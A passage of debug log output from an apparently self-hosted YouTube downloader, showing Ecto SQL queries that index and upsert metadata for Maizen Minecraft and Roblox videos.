powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 20:06:38.923 [debug] QUERY OK source="sources" db=0.2ms idle=22.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:38.923 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:38.924 [debug] QUERY OK source="media_items" db=0.1ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [469491] 20:06:38.924 [debug] Current batch of media processed. Will check again in 1000ms 20:06:39.924 [debug] Current batch of media processed. Will check again in 1000ms 20:06:40.925 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4713, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", "id" => "DmxYE_YOLQ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "playlist_index" => 4, "timestamp" => 1784777301, "title" => "JJ vs. Mikey", "upload_date" => "20260723"} 20:06:40.926 [debug] QUERY OK source="sources" db=0.2ms idle=143.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:40.926 [debug] QUERY OK source="sources" db=0.1ms idle=143.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:40.928 [debug] QUERY OK source="media_items" db=1.4ms idle=144.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 20:06:40.929 [debug] QUERY OK source="media_items" db=0.6ms idle=145.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "dfaf5afc-04a0-49d3-bdb6-4d558682bb2e", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 03:06:40Z], ~U[2026-08-20 03:06:40Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 20:06:40.929 [debug] QUERY OK source="sources" db=0.1ms idle=26.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:40.929 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:40.930 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [366904] 20:06:40.930 [debug] Current batch of media processed. Will check again in 1000ms 20:06:41.931 [debug] Current batch of media processed. Will check again in 1000ms 20:06:42.932 [debug] Current batch of media processed. Will check again in 1000ms 20:06:43.933 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3658, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", "id" => "jXiB2M0bZX8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jXiB2M0bZX8", "playlist_index" => 5, "timestamp" => 1783668694, "title" => "PRISON ESCAPE in Minecraft", "upload_date" => "20260710"} 20:06:43.934 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1151.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:43.934 [debug] QUERY OK source="sources" db=0.2ms idle=1152.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:43.936 [debug] QUERY OK source="media_items" db=1.3ms idle=1152.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 20:06:43.937 [debug] QUERY OK source="media_items" db=0.5ms idle=1031.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "907e5513-084b-4f94-ade5-106f26510a0b", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 03:06:43Z], ~U[2026-08-20 03:06:43Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 20:06:43.937 [debug] QUERY OK source="sources" db=0.1ms idle=31.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:43.937 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:43.938 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [310552] 20:06:43.938 [debug] Current batch of media processed. Will check again in 1000ms 20:06:44.939 [debug] Current batch of media processed. Will check again in 1000ms 20:06:45.940 [debug] Current batch of media processed. Will check again in 1000ms 20:06:46.941 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4704, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", "id" => "2nxBCespd7c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2nxBCespd7c", "playlist_index" => 6, "timestamp" => 1782529206, "title" => "JJ IS DEAD : The Movie", "upload_date" => "20260627"} 20:06:46.942 [debug] QUERY OK source="sources" db=0.2ms idle=1159.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:46.942 [debug] QUERY OK source="sources" db=0.1ms idle=1159.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:46.944 [debug] QUERY OK source="media_items" db=1.4ms idle=1160.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 20:06:46.945 [debug] QUERY OK source="media_items" db=0.7ms idle=1035.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "f2acc5cc-3008-46c3-bf40-05c45e2b1eff", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 03:06:46Z], ~U[2026-08-20 03:06:46Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 20:06:46.945 [debug] QUERY OK source="sources" db=0.2ms idle=35.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:46.945 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:46.946 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [231209] 20:06:46.946 [debug] Current batch of media processed. Will check again in 1000ms 20:06:47.947 [debug] Current batch of media processed. Will check again in 1000ms 20:06:47.961 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:48.948 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5211, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", "id" => "a8EKAWT99Ys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a8EKAWT99Ys", "playlist_index" => 7, "timestamp" => 1781924406, "title" => "MIKEY IS DEAD : The Movie", "upload_date" => "20260620"} 20:06:48.949 [debug] QUERY OK source="sources" db=0.3ms idle=987.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:06:48.949 [debug] QUERY OK source="sources" db=0.1ms idle=166.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:48.951 [debug] QUERY OK source="media_items" db=1.4ms idle=167.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 20:06:48.952 [debug] QUERY OK source="media_items" db=0.7ms idle=168.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "24c6829a-42d8-4ab9-b872-3c3ee077904c", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 03:06:48Z], ~U[2026-08-20 03:06:48Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 20:06:48.952 [debug] QUERY OK source="sources" db=0.1ms idle=40.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:06:48.952 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:06:48.953 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = 